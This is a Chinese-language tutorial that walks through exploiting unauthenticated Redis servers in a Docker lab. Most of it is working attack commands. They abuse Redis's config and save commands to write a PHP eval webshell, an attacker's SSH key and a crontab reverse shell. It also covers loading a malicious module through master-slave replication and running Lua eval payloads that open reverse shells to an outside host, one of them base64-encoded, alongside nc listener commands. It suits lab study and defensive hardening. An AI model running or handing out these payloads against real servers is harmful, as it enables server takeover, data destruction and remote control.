漏洞复现—Redis 未授权访问漏洞
Redis 基础知识
Redis(Remote Dictionary Server)是一种高性能的开源内存数据库,以键值对(key-value)存储数据,主要用于缓存、消息队列和实时数据处理等场景。其主要特点包括:
- 高效性:基于内存操作,读写速度极快,主要用于缓存。
- 默认端口:6379。
- 存储格式:键值对(key = value),支持字符串、列表、集合、哈希等多种数据结构。
- 默认配置:Redis 老版本(尤其是 4.x 及以下)默认无密码认证,且绑定地址为
0.0.0.0
,允许任意 IP 连接。 - 部署环境:通常部署在内网,禁止外部 IP 访问,但配置不当可能导致未授权访问漏洞。
客户端连接方式
通过 Redis 客户端工具 redis-cli
可轻松连接到 Redis 服务端。以下为连接示例:
redis-cli -h 192.168.2.100
192.168.2.100:6379> ping
PONG
192.168.2.100:6379>
说明:PONG
表示连接成功。默认情况下,若未设置密码,任何客户端均可直接连接并操作数据库。
漏洞概述
Redis 未授权访问漏洞是由于 Redis 配置不当(如未设置密码或绑定公网 IP)导致攻击者可直接访问 Redis 数据库,并通过其功能进行恶意操作。常见攻击方式包括:
- 任意文件写入:利用 Redis 的数据库备份功能,将恶意内容写入服务器文件系统。
- 主从复制攻击:通过主从复制功能加载恶意模块,执行系统命令。
漏洞复现
搭建靶场
为了安全复现 Redis 未授权访问漏洞,可使用 Docker 搭建测试环境。以下为搭建命令:
docker run --restart always -d -p 80:80 -p 10022:22 -p 6379:6379 --name redishub yanglisianthus/redis-unauth-hub
说明:
- 映射端口:80(Web 服务)、10022(SSH 服务)、6379(Redis 服务)。
- 镜像:
yanglisianthus/redis-unauth-hub
是一个预配置的 Redis 未授权访问靶场镜像。 - 确保在隔离环境中操作,避免影响生产环境。
任意文件写入
Redis 自带的数据库备份功能,可以把内存中的 key 和 value 另存为磁盘上的文件。
[!caution]
flushall
会删除所有键值对,生产环境中可能导致数据丢失,生产环境禁用此操作!。
方法一:写入 WebShell
前提:目标服务器同时存在并运行 Web 服务,且 Redis 有写权限到 Web 目录。
执行命令:
#连接 Redis 服务并清空数据库(生产环境禁用此操作!)
flushall
#创建恶意键值对,value 为 WebShell 代码
set a "<?php @eval($_POST[CMD]); ?>"
#设置导出目录为 Web 根目录(如 /var/www/html)
config set dir /var/www/html/
#设置要导出的文件名
config set dbfilename shell.php
#保存数据到磁盘
save
结果:在 Web 目录下生成 shell.php
,访问 http://<target_ip>/shell.php
可以通过 POST 请求执行任意命令。
截图示例:
方法二:写入 SSH 公钥
前提:目标服务器存在并运行 SSH 服务,且 Redis 有写权限到 /root/.ssh/
或其他用户 .ssh/
目录。
#清空数据库(生产环境禁用此操作!)
flushall
#创建包含 SSH 公钥的键值对
set a "\n\n 公钥 \n\n"
#设置导出目录为 SSH 公钥存储目录
config set dir /root/.ssh
#设置要导出的文件名
config set dbfilename authorized_keys
#保存数据到磁盘
save
结果:在 /root/.ssh/authorized_keys
中写入攻击者的公钥,允许攻击者通过 SSH 无密码登录。
截图示例:
方式三:写入计划任务(Crontab)
前提:
- 目标服务器运行计划任务服务(如
cron
)。 - 系统为 Red Hat 或 CentOS(Ubuntu/Kali/Debian 对计划任务文件格式要求严格,Redis 写入的杂乱字符可能导致失败)。
步骤:
#清空数据库(生产环境禁用此操作!)
flushall
#创建包含计划任务的键值对
set a "\n\n * * * * * root /bin/bash -i >& /dev/tcp/[ip]/[port] 0>&1 \n\n"
#设置导出目录为 /etc
config set dir /etc
#设置要导出的文件名
config set dbfilename crontab
#保存数据到磁盘
save
结果:在 /etc/crontab
中写入恶意计划任务,系统将定期执行反弹 Shell。
验证:
在攻击者机器上监听端口:
nc -lvnp [port]
等待目标服务器连接,获取 Shell。
截图示例:
主从复制攻击
原理:Redis 4.x 及以上版本支持主从复制功能,攻击者可通过伪装为主节点,让目标 Redis 实例(从节点)加载恶意模块(.so
或 .dll
文件),从而执行系统命令。
前提:
- Redis 版本支持主从复制(4.0+)。
- 攻击者控制的服务器可被目标 Redis 访问。
步骤:
攻击者准备恶意模块(如
exp.so
)并托管在可访问的服务器上。配置目标 Redis 作为从节点,连接到攻击者控制的主节点:
slaveof <attacker_ip> <attacker_port>
在攻击者服务器上伪装 Redis 主节点,并推送恶意模块:
module load /path/to/exp.so
执行恶意命令(如反弹 Shell):
system.exec "/bin/bash -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1"
结果:目标 Redis 加载并执行恶意模块,攻击者获得系统权限。
工具:RabR
python redis-attack.py -r [victimIP] -L [attackerIP]
#-r 受害者地址 (靶场中建议写容器内 IP,docker inspect containerID 能看到)
#-L 攻击者地址 (建议写脚本所在服务器的 IP)
靶场:需要搭建 Redis 4.x 及以上版本的靶场,此处使用 Redis 5.0
docker run -p 6379:6379 -d damonevking/redis5.0
截图示例:
- 主从同步原理:
- RabR 主从复制攻击:
Lua 命令执行
什么是 Lua:Lua 是轻量的脚本语言,一般被各种软件、中间件、数据库集成,便于开发者自行对软件、中间件、数据库进行定制化修改。
Lua 应用:Nginx + Lua 实现 WAF。
payload:
-- 执行如下两条命令中的一条即可成功反弹 Shell
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjkvMTUwMDAgMD4mMSc=|base64 -d|bash", "r"); local res = f:read("*a"); f:close(); return res' 0
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash -c \'bash -i >& /dev/tcp/192.168.126.129/15000 0>&1\'", "r"); local res = f:read("*a"); f:close(); return res' 0
验证:
在攻击者机器上监听端口:
nc -lvnp [port]
等待目标服务器连接,获取 Shell。
截图示例: